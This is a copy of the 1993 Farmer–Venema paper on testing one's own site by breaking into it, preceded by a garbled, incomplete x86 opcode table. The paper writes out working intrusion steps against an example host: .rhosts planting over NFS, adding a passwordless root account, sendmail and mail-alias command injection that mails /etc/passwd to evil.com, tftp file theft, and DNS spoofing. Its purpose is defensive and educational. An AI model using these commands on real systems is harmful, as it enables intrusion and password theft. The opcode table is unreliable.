imul ???? 6A push xx 6B imul ???? 6C insb 6D insw 6E outsb 6F outsw 70 jo xx 71 jno xx 72 jc xx 73 jae xx|jnc xx 74 je xx|jz xx 75 jne xx|jbe xx|jnz xx 76 jbe xx 77 ja xx 78 js xx 79 jns xx 7A jp xx 7B jnp xx 7C jl xx 7D jge xx 7E jle xx 7F jg xx 80 xor xxxx!,xx ? 81 add XX,xxxx 82 sbb ?????|and XX!,xx 83 add XX,xx ? 84 test XX,XX ? 85 test XX,XX ? 86 xchg xxxx!,Xx 87 xchg XX,xxxx 88 mov xxxx,XX ? 89 mov XX,XX ? 8A mov Xx,Xx|mov XX,xxxx 8B mov xx,xxxx 8C mov XX,XX 8D lea XX,xx|lea XX,xxxx ? 8E mov XX,XX ? 8F pop ?????? 90 nop 91 xchg ax,cx 92 xchg ax,dx 93 xchg ax,bx 94 xchg ax,sp 95 xchg ax,bp 96 xchg ax,si 97 xchg ax,di 98 cbw 99 cwd 9A call far xxxx:xxxx 9B wait 9C pushf 9D popf 9E sahf 9F lahf A0 mov al,xxxx! A1 mov ax,xxxx! A2 mov xxxx!,al A3 mov xxxx,AX A4 movsb A5 movsw A6 cmpsb A7 cmpsw A8 test al,xx A9 test ax,xxxx AA stosb AB stosw AC loadsb AD loadsw AE scasb AF scasw B0 mov al,xx B1 mov cl,xx B2 mov dl,xx B3 mov bl,xx B4 mov ah,xx B5 mov ch,xx B6 mov dh,xx B7 mov bh,xx B8 mov ax,xxxx B9 mov cx,xxxx BA mov dx,xxxx BB mov bx,xxxx BC mov sp,xxxx ? BD mov bp,xxxx BE mov si,xxxx BF mov di,xxxx C0 shl XX,xx ? C1 shl XX,xx ? C2 retn xxxx C3 retn C4 les XX,xxxx C5 lds XX,xx C6 mov ??????? C7 mov xxxx!,XX C8 enter xxxx,xx C9 leave CA retf xxxx CB retf CC int 3 CD int xx CE into CF iret D0 shr XX,1|ror XX,1|ror XX,1 ? D1 shl XX,1 ?|rcl XX,1 ? D2 sal xx,XX|rol Xx,Xx|rcr xxxx!,Xx ? D3 shl xxxx!,Xx|sar xxxx!,Xx ? D4 aam ???? D5 aad ???? D6 Got no idea ! D7 xlat D8 esc ???? D9 esc 1,[di] DA esc ???|fisub xx DB esc ??? DC esc 4,[bx] DD esc ??? DE esc ??? DF esc ???|fbld xx E0 loopnz xx E1 loopz xx E2 loop xx E3 jcxz xx E4 in al,xx E5 in ax,xx|cmc E6 out xx,al E7 out xx,ax E8 call xxxx E9 jmp xxxx EA jmp far xxxx:xxxx EB jmp short xxxx EC in al,dx ED in ax,dx EE out dx,al EF out dx,ax F0 lock F1 Got no idea ! F2 repne F3 rep F4 hlt F5 cmc F6 mul XX!|neg XX!|not Xx ? F7 div xxxx|imul xxxx|not XX ? F8 clc F9 stc FA cli FB sti FC cld FD std FE inc XX|dec XX FF inc XX:xxxx|jmp XX -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- ----------------------------------------------------------------------------- ~~# SECURITé #~~ ----------------------------------------------------------------------------- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- Improving the Security of Your Site -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- Improving the Security of Your Site by Breaking Into it Dan Farmer Wietse Venema Sun Microsystems Eindhoven University of Technology zen@sun.com wietse@wzv.win.tue.nl Introduction Every day, all over the world, computer networks and hosts are being broken into. The level of sophistication of these attacks varies widely; while it is generally believed that most break-ins succeed due to weak passwords, there are still a large number of intrusions that use more advanced techniques to break in. Less is known about the latter types of break-ins, because by their very nature they are much harder to detect. CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley. Purdue. Sun. You name it, we've seen it broken into. Anything that is on the Internet (and many that isn't) seems to be fairly easy game. Are these targets unusual? What happened? ---------------------------------------------------------------------------- Fade to... A young boy, with greasy blonde hair, sitting in a dark room. The room is illuminated only by the luminescense of the C64's 40 character screen. Taking another long drag from his Benson and Hedges cigarette, the weary system cracker telnets to the next faceless ".mil" site on his hit list. "guest -- guest", "root -- root", and "system -- manager" all fail. No matter. He has all night... he pencils the host off of his list, and tiredly types in the next potential victim... This seems to be the popular image of a system cracker. Young, inexperienced, and possessing vast quantities of time to waste, to get into just one more system. However, there is a far more dangerous type of system cracker out there. One who knows the ins and outs of the latest security auditing and cracking tools, who can modify them for specific attacks, and who can write his/her own programs. One who not only reads about the latest security holes, but also personally discovers bugs and vulnerabilities. A deadly creature that can both strike poisonously and hide its tracks without a whisper or hint of a trail. The uebercracker is here. ---------------------------------------------------------------------------- Why "uebercracker"? The idea is stolen, obviously, from Nietzsche's uebermensch, or, literally translated into English, "over man." Nietzsche used the term not to refer to a comic book superman, but instead a man who had gone beyond the incompetence, pettiness, and weakness of the everyday man. The uebercracker is therefore the system cracker who has gone beyond simple cookbook methods of breaking into systems. An uebercracker is not usually motivated to perform random acts of violence. Targets are not arbitrary -- there is a purpose, whether it be personal monetary gain, a hit and run raid for information, or a challenge to strike a major or prestigious site or net.personality. An uebercracker is hard to detect, harder to stop, and hardest to keep out of your site for good. Overview In this paper we will take an unusual approach to system security. Instead of merely saying that something is a problem, we will look through the eyes of a potential intruder, and show _why_ it is one. We will illustrate that even seemingly harmless network services can become valuable tools in the search for weak points of a system, even when these services are operating exactly as they are intended to. In an effort to shed some light on how more advanced intrusions occur, this paper outlines various mechanisms that crackers have actually used to obtain access to systems and, in addition, some techniques we either suspect intruders of using, or that we have used ourselves in tests or in friendly/authorized environments. Our motivation for writing this paper is that system administrators are often unaware of the dangers presented by anything beyond the most trivial attacks. While it is widely known that the proper level of protection depends on what has to be protected, many sites appear to lack the resources to assess what level of host and network security is adequate. By showing what intruders can do to gain access to a remote site, we are trying to help system administrators to make _informed_ decisions on how to secure their site -- or not. We will limit the discussion to techniques that can give a remote intruder access to a (possibly non-interactive) shell process on a UNIX host. Once this is achieved, the details of obtaining root privilege are beyond the scope of this work -- we consider them too site-dependent and, in many cases, too trivial to merit much discussion. We want to stress that we will not merely run down a list of bugs or security holes -- there will always be new ones for a potential attacker to exploit. The purpose of this paper is to try to get the reader to look at her or his system in a new way -- one that will hopefully afford him or her the opportunity to _understand_ how their system can be compromised, and how. We would also like to reiterate to the reader that the purpose of this paper is to show you how to test the security of your own site, not how to break into other people's systems. The intrusion techniques we illustrate here will often leave traces in your system auditing logs -- it might be constructive to examine them after trying some of these attacks out, to see what a real attack might look like. Certainly other sites and system administrators will take a very dim view of your activities if you decide to use their hosts for security testing without advance authorization; indeed, it is quite possible that legal action may be pursued against you if they perceive it as an attack. There are four main parts to the paper. The first part is the introduction and overview. The second part attempts to give the reader a feel for what it is like to be an intruder and how to go from knowing nothing about a system to compromising its security. This section goes over actual techniques to gain information and entrance and covers basic strategies such as exploiting trust and abusing improperly configured basic network services (ftp, mail, tftp, etc.) It also discusses slightly more advanced topics, such as NIS and NFS, as well as various common bugs and configuration problems that are somewhat more OS or system specific. Defensive strategies against each of the various attacks are also covered here. The third section deals with trust: how the security of one system depends on the integrity of other systems. Trust is the most complex subject in this paper, and for the sake of brevity we will limit the discussion to clients in disguise. The fourth section covers the basic steps that a system administrator may take to protect her or his system. Most of the methods presented here are merely common sense, but they are often ignored in practice -- one of our goals is to show just how dangerous it can be to ignore basic security practices. Case studies, pointers to security-related information, and software are described in the appendices at the end of the paper. While exploring the methods and strategies discussed in this paper we we wrote SATAN (Security Analysis Tool for Auditing Networks.) Written in shell, perl, expect and C, it examines a remote host or set of hosts and gathers as much information as possible by remotely probing NIS, finger, NFS, ftp and tftp, rexd, and other services. This information includes the presence of various network information services as well as potential security flaws -- usually in the form of incorrectly setup or configured network services, well-known bugs in system or network utilities, or poor or ignorant policy decisions. It then can either report on this data or use an expert system to further investigate any potential security problems. While SATAN doesn't use all of the methods that we discuss in the paper, it has succeeded with ominous regularity in finding serious holes in the security of Internet sites. It will be posted and made available via anonymous ftp when completed; Appendix A covers its salient features. Note that it isn't possible to cover all possible methods of breaking into systems in a single paper. Indeed, we won't cover two of the most effective methods of breaking into hosts: social engineering and password cracking. The latter method is so effective, however, that several of the strategies presented here are geared towards acquiring password files. In addition, while windowing systems (X, OpenWindows, etc.) can provide a fertile ground for exploitation, we simply don't know many methods that are used to break into remote systems. Many system crackers use non-bitmapped terminals which can prevent them from using some of the more interesting methods to exploit windowing systems effectively (although being able to monitor the victim's keyboard is often sufficient to capture passwords). Finally, while worms, viruses, trojan horses, and other malware are very interesting, they are not common (on UNIX systems) and probably will use similar techniques to the ones we describe in this paper as individual parts to their attack strategy. Gaining Information Let us assume that you are the head system administrator of Victim Incorporated's network of UNIX workstations. In an effort to secure your machines, you ask a friendly system administrator from a nearby site (evil.com) to give you an account on one of her machines so that you can look at your own system's security from the outside. What should you do? First, try to gather information about your (target) host. There is a wealth of network services to look at: finger, showmount, and rpcinfo are good starting points. But don't stop there -- you should also utilize DNS, whois, sendmail (smtp), ftp, uucp, and as many other services as you can find. There are so many methods and techniques that space precludes us from showing all of them, but we will try to show a cross-section of the most common and/or dangerous strategies that we have seen or have thought of. Ideally, you would gather such information about all hosts on the subnet or area of attack --- information is power -- but for now we'll examine only our intended target. To start out, you look at what the ubiquitous finger command shows you (assume it is 6pm, Nov 6, 1993): victim % finger @victim.com [victim.com] Login Name TTY Idle When Where zen Dr. Fubar co 1d Wed 08:00 death.com Good! A single idle user -- it is likely that no one will notice if you actually manage to break in. Now you try more tactics. As every finger devotee knows, fingering "@", "0", and "", as well as common names, such as root, bin, ftp, system, guest, demo, manager, etc., can reveal interesting information. What that information is depends on the version of finger that your target is running, but the most notable are account names, along with their home directories and the host that they last logged in from. To add to this information, you can use rusers (in particular with the -l flag) to get useful information on logged-in users. Trying these commands on victim.com reveals the following information, presented in a compressed tabular form to save space: Login Home-dir Shell Last login, from where ----- -------- ----- ---------------------- root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com bin /bin Never logged in nobody / Tue Jun 15 08:57 on ttyp2 from server.victim.co daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com guest /export/foo /bin/sh Never logged in ftp /home/ftp Never logged in Both our experiments with SATAN and watching system crackers at work have proved to us that finger is one of the most dangerous services, because it is so useful for investigating a potential target. However, much of this information is useful only when used in conjunction with other data. For instance, running showmount on your target reveals: evil % showmount -e victim.com export list for victim.com: /export (everyone) /var (everyone) /usr easy /export/exec/kvm/sun4c.sunos.4.1.3 easy /export/root/easy easy /export/swap/easy easy Note that /export/foo is exported to the world; also note that this is user guest's home directory. Time for your first break-in! In this case, you'll mount the home directory of user "guest." Since you don't have a corresponding account on the local machine and since root cannot modify files on an NFS mounted filesystem, you create a "guest" account in your local password file. As user guest you can put an .rhosts entry in the remote guest home directory, which will allow you to login to the target machine without having to supply a password. evil # mount victim.com:/export/foo /foo evil # cd /foo evil # ls -lag total 3 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. 1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd evil # ls -lag total 3 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. 1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest evil # su guest evil % echo victim.com >> guest/.rhosts evil % rlogin victim.com Welcome to victim.com! victim % If, instead of home directories, victim.com were exporting filesystems with user commands (say, /usr or /usr/local/bin), you could replace a command with a trojan horse that executes any command of your choice. The next user to execute that command would execute your program. We suggest that filesystems be exported: * Read/write only to specific, trusted clients. * Read-only, where possible (data or programs can often be exported in this manner.) If the target has a "+" wildcard in its /etc/hosts.equiv (the default in various vendor's machines) or has the netgroups bug (CERT advisory 91:12), any non-root user with a login name in the target's password file can rlogin to the target without a password. And since the user "bin" often owns key files and directories, your next attack is to try to log in to the target host and modify the password file to let you have root access: evil % whoami bin evil % rsh victim.com csh -i Warning: no access to tty; thus no job control in this shell... victim % ls -ldg /etc drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc victim % cd /etc victim % mv passwd pw.old victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd victim % ^D evil % rlogin victim.com -l toor Welcome to victim.com! victim # A few notes about the method used above; "rsh victim.com csh -i" is used to initially get onto the system because it doesn't leave any traces in the wtmp or utmp system auditing files, making the rsh invisible for finger and who. The remote shell isn't attached to a pseudo-terminal, however, so that screen-oriented programs such as pagers and editors will fail -- but it is very handy for brief exploration. The COPS security auditing tool (see appendix D) will report key files or directories that are writable to accounts other than the superuser. If you run SunOS 4.x you can apply patch 100103 to fix most file permission problems. On many systems, rsh probes as shown above, even when successful, would remain completely unnoticed; the tcp wrapper (appendix D), which logs incoming connections, can help to expose such activities. ---------------------------------------------------------------------------- What now? Have you uncovered all the holes on your target system? Not by a long shot. Going back to the finger results on your target, you notice that it has an "ftp" account, which usually means that anonymous ftp is enabled. Anonymous ftp can be an easy way to get access, as it is often misconfigured. For example, the target may have a complete copy of the /etc/passwd file in the anonymous ftp ~ftp/etc directory instead of a stripped down version. In this example, though, you see that the latter doesn't seem to be true (how can you tell without actually examining the file?) However, the home directory of ftp on victim.com is writable. This allows you to remotely execute a command -- in this case, mailing the password file back to yourself -- by the simple method of creating a .forward file that executes a command when mail is sent to the ftp account. This is the same mechanism of piping mail to a program that the "vacation" program uses to automatically reply to mail messages. evil % cat forward_sucker_file "|/bin/mail zen@evil.com < /etc/passwd" evil % ftp victim.com Connected to victim.com 220 victim FTP server ready. Name (victim.com:zen): ftp 331 Guest login ok, send ident as password. Password: 230 Guest login ok, access restrictions apply. ftp> ls -lga 200 PORT command successful. 150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes). total 5 drwxr-xr-x 4 101 1 512 Jun 20 1991 . drwxr-xr-x 4 101 1 512 Jun 20 1991 .. drwxr-xr-x 2 0 1 512 Jun 20 1991 bin drwxr-xr-x 2 0 1 512 Jun 20 1991 etc drwxr-xr-x 3 101 1 512 Aug 22 1991 pub 226 ASCII Transfer complete. 242 bytes received in 0.066 seconds (3.6 Kbytes/s) ftp> put forward_sucker_file .forward 43 bytes sent in 0.0015 seconds (28 Kbytes/s) ftp> quit evil % echo test | mail ftp@victim.com Now you simply wait for the password file to be sent back to you. The security auditing tool COPS will check your anonymous ftp setup; see the man page for ftpd, the documentation/code for COPS, or CERT advisory 93:10 for information on how to set up anonymous ftp correctly. Vulnerabilities in ftp are often a matter of incorrect ownership or permissions of key files or directories. At the very least, make sure that ~ftp and all "system" directories and files below ~ftp are owned by root and are not writable by any user. While looking at ftp, you can check for an older bug that was once widely exploited: % ftp -n ftp> open victim.com Connected to victim.com 220 victim.com FTP server ready. ftp> quote user ftp 331 Guest login ok, send ident as password. ftp> quote cwd ~root 530 Please login with USER and PASS. ftp> quote pass ftp 230 Guest login ok, access restrictions apply. ftp> ls -al / (or whatever) If this works, you now are logged in as root, and able to modify the password file, or whatever you desire. If your system exhibits this bug, you should definitely get an update to your ftpd daemon, either from your vendor or (via anon ftp) from ftp.uu.net. The wuarchive ftpd, a popular replacement ftp daemon put out by the Washington University in Saint Louis, had almost the same problem. If your wuarchive ftpd pre-dates April 8, 1993, you should replace it by a more recent version. Finally, there is a program vaguely similar to ftp -- tftp, or the trivial file transfer program. This daemon doesn't require any password for authentication; if a host provides tftp without restricting the access (usually via some secure flag set in the inetd.conf file), an attacker can read and write files anywhere on the system. In the example, you get the remote password file and place it in your local /tmp directory: evil % tftp tftp> connect victim.com tftp> get /etc/passwd /tmp/passwd.victim tftp> quit For security's sake, tftp should not be run; if tftp is necessary, use the secure option/flag to restrict access to a directory that has no valuable information, or run it under the control of a chroot wrapper program. ---------------------------------------------------------------------------- If none of the previous methods have worked, it is time to go on to more drastic measures. You have a friend in rpcinfo, another very handy program, sometimes even more useful than finger. Many hosts run RPC services that can be exploited; rpcinfo can talk to the portmapper and show you the way. It can tell you if the host is running NIS, if it is a NIS server or slave, if a diskless workstation is around, if it is running NFS, any of the info services (rusersd, rstatd, etc.), or any other unusual programs (auditing or security related). For instance, going back to our sample target: evil % rpcinfo -p victim.com [output trimmed for brevity's sake] program vers proto port 100004 2 tcp 673 ypserv 100005 1 udp 721 mountd 100003 2 udp 2049 nfs 100026 1 udp 733 bootparam 100017 1 tcp 1274 rexd In this case, you can see several significant facts about our target; first of which is that it is an NIS server. It is perhaps not widely known, but once you know the NIS domainname of a server, you can get any of its NIS maps by a simple rpc query, even when you are outside the subnet served by the NIS server (for example, using the YPX program that can be found in the comp.sources.misc archives on ftp.uu.net). In addition, very much like easily guessed passwords, many systems use easily guessed NIS domainnames. Trying to guess the NIS domainname is often very fruitful. Good candidates are the fully and partially qualified hostname (e.g. "victim" and "victim.com"), the organization name, netgroup names in "showmount" output, and so on. If you wanted to guess that the domainname was "victim", you could type: evil % ypwhich -d victim victim.com Domain victim not bound. This was an unsuccessful attempt; if you had guessed correctly it would have returned with the host name of victim.com's NIS server. However, note from the NFS section that victim.com is exporting the "/var" directory to the world. All that is needed is to mount this directory and look in the "yp" subdirectory -- among other things you will see another subdirectory that contains the domainname of the target. evil # mount victim.com:/var /foo evil # cd /foo evil # /bin/ls -alg /foo/yp total 17 1 drwxr-sr-x 4 root staff 512 Jul 12 14:22 . 1 drwxr-sr-x 11 root staff 512 Jun 29 10:54 .. 11 -rwxr-xr-x 1 root staff 10993 Apr 22 11:56 Makefile 1 drwxr-sr-x 2 root staff 512 Apr 22 11:20 binding 2 drwxr-sr-x 2 root staff 1536 Jul 12 14:22 foo_bar [...] In this case, "foo_bar" is the NIS domain name. In addition, the NIS maps often contain a good list of user/employee names as well as internal host lists, not to mention passwords for cracking. Appendix C details the results of a case study on NIS password files. ---------------------------------------------------------------------------- You note that the rpcinfo output also showed that victim.com runs rexd. Like the rsh daemon, rexd processes requests of the form "please execute this command as that user". Unlike rshd, however, rexd does not care if the client host is in the hosts.equiv or .rhost files. Normally the rexd client program is the "on" command, but it only takes a short C program to send arbitrary client host and userid information to the rexd server; rexd will happily execute the command. For these reasons, running rexd is similar to having no passwords at all: all security is in the client, not in the server where it should be. Rexd security can be improved somewhat by using secure RPC. ---------------------------------------------------------------------------- While looking at the output from rpcinfo, you observe that victim.com also seems to be a server for diskless workstations. This is evidenced by the presence of the bootparam service, which provides information to the diskless clients for booting. If you ask nicely, using BOOTPARAMPROC_WHOAMI and provide the address of a client, you can get its NIS domainname. This can be very useful when combined with the fact that you can get arbitrary NIS maps (such as the password file) when you know the NIS domainname. Here is a sample code snippet to do just that (bootparam is part of SATAN.) char *server; struct bp_whoami_arg arg; /* query */ struct bp_whoami_res res; /* reply */ /* initializations omitted... */ callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res); printf("%s has nisdomain %s\n", server, res.domain_name); The showmount output indicated that "easy" is a diskless client of victim.com, so we use its client address in the BOOTPARAMPROC_WHOAMI query: evil % bootparam victim.com easy.victim.com victim.com has nisdomain foo_bar ---------------------------------------------------------------------------- NIS masters control the mail aliases for the NIS domain in question. Just like local mail alias files, you can create a mail alias that will execute commands when mail is sent to it (a once popular example of this is the "decode" alias which uudecodes mail files sent to it.) For instance, here you create an alias "foo", which mails the password file back to evil.com by simply mailing any message to it: nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases nis-master # cd /var/yp nis-master # make aliases nis-master # echo test | mail -v foo@victim.com Hopefully attackers won't have control of your NIS master host, but even more hopefully the lesson is clear -- NIS is normally insecure, but if an attacker has control of your NIS master, then s/he effectively has control of the client hosts (e.g. can execute arbitrary commands). There aren't many effective defenses against NIS attacks; it is an insecure service that has almost no authentication between clients and servers. To make things worse, it seems fairly clear that arbitrary maps can be forced onto even master servers (e.g., it is possible to treat an NIS server as a client). This, obviously, would subvert the entire schema. If it is absolutely necessary to use NIS, choosing a hard to guess domainname can help slightly, but if you run diskless clients that are exposed to potential attackers then it is trivial for an attacker to defeat this simple step by using the bootparam trick to get the domainname. If NIS is used to propagate the password maps, then shadow passwords do not give additional protection because the shadow map is still accessible to any attacker that has root on an attacking host. Better is to use NIS as little as possible, or to at least realize that the maps can be subject to perusal by potentially hostile forces. Secure RPC goes a long way to diminish the threat, but it has its own problems, primarily in that it is difficult to administer, but also in that the cryptographic methods used within are not very strong. It has been rumored that NIS+, Sun's new network information service, fixes some of these problems, but until now it has been limited to running on Suns, and thus far has not lived up to the promise of the design. Finally, using packet filtering (at the very least port 111) or securelib (see appendix D), or, for Suns, applying Sun patch 100482-02 all can help. ---------------------------------------------------------------------------- The portmapper only knows about RPC services. Other network services can be located with a brute-force method that connects to all network ports. Many network utilities and windowing systems listen to specific ports (e.g. sendmail is on port 25, telnet is on port 23, X windows is usually on port 6000, etc.) SATAN includes a program that scans the ports of a remote hosts and reports on its findings; if you run it against our target, you see: evil % tcpmap victim.com Mapping 128.128.128.1 port 21: ftp port 23: telnet port 25: smtp port 37: time port 79: finger port 512: exec port 513: login port 514: shell port 515: printer port 6000: (X) This suggests that victim.com is running X windows. If not protected properly (via the magic cookie or xhost mechanisms), window displays can be captured or watched, user keystrokes may be stolen, programs executed remotely, etc. Also, if the target is running X and accepts a telnet to port 6000, that can be used for a denial of service attack, as the target's windowing system will often "freeze up" for a short period of time. One method to determine the vulnerability of an X server is to connect to it via the XOpenDisplay() function; if the function returns NULL then you cannot access the victim's display (opendisplay is part of SATAN): char *hostname; if (XOpenDisplay(hostname) == NULL) { printf("Cannot open display: %s\n", hostname); } else { printf("Can open display: %s\n", hostname); } evil % opendisplay victim.com:0 Cannot open display: victim.com:0 X terminals, though much less powerful than a complete UNIX system, can have their own security problems. Many X terminals permit unrestricted rsh access, allowing you to start X client programs in the victim's terminal with the output appearing on your own screen: evil % xhost +xvictim.victim.com evil % rsh xvictim.victim.com telnet victim.com -display evil.com In any case, give as much thought to your window security as your filesystem and network utilities, for it can compromise your system as surely as a "+" in your hosts.equiv or a passwordless (root) account. ---------------------------------------------------------------------------- Next, you examine sendmail. Sendmail is a very complex program that has a long history of security problems, including the infamous "wiz" command (hopefully long since disabled on all machines). You can often determine the OS, sometimes down to the version number, of the target, by looking at the version number returned by sendmail. This, in turn, can give you hints as to how vulnerable it might be to any of the numerous bugs. In addition, you can see if they run the "decode" alias, which has its own set of problems: evil % telnet victim.com 25 connecting to host victim.com (128.128.128.1.), port 25 connection open 220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT expn decode 250 <"|/usr/bin/uudecode"> quit Running the "decode" alias is a security risk -- it allows potential attackers to overwrite any file that is writable by the owner of that alias -- often daemon, but potentially any user. Consider this piece of mail -- this will place "evil.com" in user zen's .rhosts file if it is writable: evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com If no home directories are known or writable, an interesting variation of this is to create a bogus /etc/aliases.pag file that contains an alias with a command you wish to execute on your target. This may work since on many systems the aliases.pag and aliases.dir files, which control the system's mail aliases, are writable to the world. evil % cat decode bin: "| cat /etc/passwd | mail zen@evil.com" evil % newaliases -oQ/tmp -oA`pwd`/decode evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null A lot of things can be found out by just asking sendmail if an address is acceptable (vrfy), or what an address expands to (expn). When the finger or rusers services are turned off, vrfy and expn can still be used to identify user accounts or targets. Vrfy and expn can also be used to find out if the user is piping mail through any program that might be exploited (e.g. vacation, mail sorters, etc.). It can be a good idea to disable the vrfy and expn commands: in most versions, look at the source file srvrsmtp.c, and either delete or change the two lines in the CmdTab structure that have the strings "vrfy" and "expn". Sites without source can still disable expn and vrfy by just editing the sendmail executable with a binary editor and replacing "vrfy" and "expn" with blanks. Acquiring a recent version of sendmail (see Appendix D) is also an extremely good idea, since there have probably been more security bugs reported in sendmail than in any other UNIX program. ---------------------------------------------------------------------------- As a sendmail-sendoff, there are two fairly well known bugs that should be checked into. The first was definitely fixed in version 5.59 from Berkeley; despite the messages below, for versions of sendmail previous to 5.59, the "evil.com" gets appended, despite the error messages, along with all of the typical mail headers, to the file specified: % cat evil_sendmail telnet victim.com 25 << EOSM rcpt to: /home/zen/.rhosts mail from: zen data random garbage . rcpt to: /home/zen/.rhosts mail from: zen data evil.com . quit EOSM evil % /bin/sh evil_sendmail Trying 128.128.128.1 Connected to victim.com Escape character is '^]'. Connection closed by foreign host. evil % rlogin victim.com -l zen Welcome to victim.com! victim % The second hole, fixed only recently, permitted anyone to specify arbitrary shell commands and/or pathnames for the sender and/or destination address. Attempts to keep details secret were in vain, and extensive discussions in mailing lists and usenet news groups led to disclosure of how to exploit some versions of the bug. As with many UNIX bugs, nearly every vendor's sendmail was vulnerable to the problem, since they all share a common source code tree ancestry. Space precludes us from discussing it fully, but a typical attack to get the password file might look like this: evil % telnet victim.com 25 Trying 128.128.128.1... Connected to victim.com Escape character is '^]'. 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04 mail from: "|/bin/mail zen@evil.com < /etc/passwd" 250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok rcpt to: nosuchuser 550 nosuchuser... User unknown data 354 Enter mail, end with "." on a line by itself . 250 Mail accepted quit Connection closed by foreign host. evil % At the time of writing, version 8.6.4 of sendmail (see Appendix D for information on how to get this) is reportedly the only variant of sendmail with all of the recent security bugs fixed. Trust For our final topic of vulnerability, we'll digress from the practical strategy we've followed previously to go a bit more into the theoretical side, and briefly discuss the notion of trust. The issues and implications of vulnerabilities here are a bit more subtle and far-reaching than what we've covered before; in the context of this paper we use the word trust whenever there is a situation when a server (note that any host that allows remote access can be called a server) can permit a local resource to be used by a client without password authentication when password authentication is normally required. In other words, we arbitrarily limit the discussion to clients in disguise. There are many ways that a host can trust: .rhosts and hosts.equiv files that allow access without password verification; window servers that allow remote systems to use and abuse privileges; export files that control access via NFS, and more. Nearly all of these rely on client IP address to hostname conversion to determine whether or not service is to be granted. The simplest method uses the /etc/hosts file for a direct lookup. However, today most hosts use either DNS (the Domain Name Service), NIS, or both for name lookup service. A reverse lookup occurs when a server has an IP address (from a client host connecting to it) and wishes to get the corresponding client hostname. Although the concept of how host trust works is well understood by most system administrators, the _dangers_ of trust, and the _practical_ problem it represents, irrespective of hostname impersonation, is one of the least understood problems we know of on the Internet. This goes far beyond the obvious hosts.equiv and rhosts files; NFS, NIS, windowing systems -- indeed, much of the useful services in UNIX are based on the concept that well known (to an administrator or user) sites are trusted in some way. What is not understood is how networking so tightly binds security between what are normally considered disjoint hosts. Any form of trust can be spoofed, fooled, or subverted, especially when the authority that gets queried to check the credentials of the client is either outside of the server's administrative domain, or when the trust mechanism is based on something that has a weak form of authentication; both are usually the case. Obviously, if the host containing the database (either NIS, DNS, or whatever) has been compromised, the intruder can convince the target host that s/he is coming from any trusted host; it is now sufficient to find out which hosts are trusted by the target. This task is often greatly helped by examining where system administrators and system accounts (such as root, etc.) last logged in from. Going back to our target, victim.com, you note that root and some other system accounts logged in from big.victim.com. You change the PTR record for evil.com so that when you attempt to rlogin in from evil.com to victim.com, victim.com will attempt to look up your hostname and will find what you placed in the record. If the record in the DNS database looks like: 1.192.192.192.in-addr.arpa IN PTR evil.com And you change it to: 1.192.192.192.in-addr.arpa IN PTR big.victim.com then, depending on how naive victim.com's system software is, victim.com will believe the login comes from big.victim.com, and, assuming that big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be able to login without supplying a password. With NIS, it is a simple matter of either editing the host database on the NIS master (if this is controlled by the intruder) or of spoofing or forcing NIS (see discussion on NIS security above) to supply the target with whatever information you desire. Although more complex, interesting, and damaging attacks can be mounted via DNS, time and space don't allow coverage of these methods here. Two methods can be used to prevent such attacks. The first is the most direct, but perhaps the most impractical. If your site doesn't use any trust, you won't be as vulnerable to host spoofing. The other strategy is to use cryptographic protocols. Using the secure RPC protocol (used in secure NFS, NIS+, etc.) is one method; although it has been "broken" cryptographically, it still provides better assurance than RPC authentication schemes that do not use any form of encryption. Other solutions, both hardware (smartcards) and software (Kerberos), are being developed, but they are either incomplete or require changes to system software. Appendix B details the results of an informal survey taken from a variety of hosts on the Internet. Protecting the system It is our hope that we have demonstrated that even some of the most seemingly innocuous services run can offer (sometimes unexpectedly) ammunition to determined system crackers. But, of course, if security were all that mattered, computers would never be turned on, let alone hooked into a network with literally millions of potential intruders. Rather than reiterating specific advice on what to switch on or off, we instead offer some general suggestions: * If you cannot turn off the finger service, consider installing a modified finger daemon. It is rarely necessary to reveal a user's home directory and the source of last login. * Don't run NIS unless it's absolutely necessary. Use NFS as little as possible. * Never export NFS filesystems unrestricted to the world. Try to export file systems read-only where possible. * Fortify and protect servers (e.g. hosts that provide a service to other hosts -- NFS, NIS, DNS, whatever.) Only allow administrative accounts on these hosts. * Examine carefully services offered by inetd and the portmapper. Eliminate any that aren't explicitly needed. Use Wietse Venema's inetd wrappers, if for no other reason than to log the sources of connections to your host. This adds immeasurably to the standard UNIX auditing features, especially with respect to network attacks. If possible, use the loghost mechanism of syslog to collect security-related information on a secure host. * Eliminate trust unless there is an absolute need for it. Trust is your enemy. * Use shadow passwords and a passwd command that disallows poor passwords. 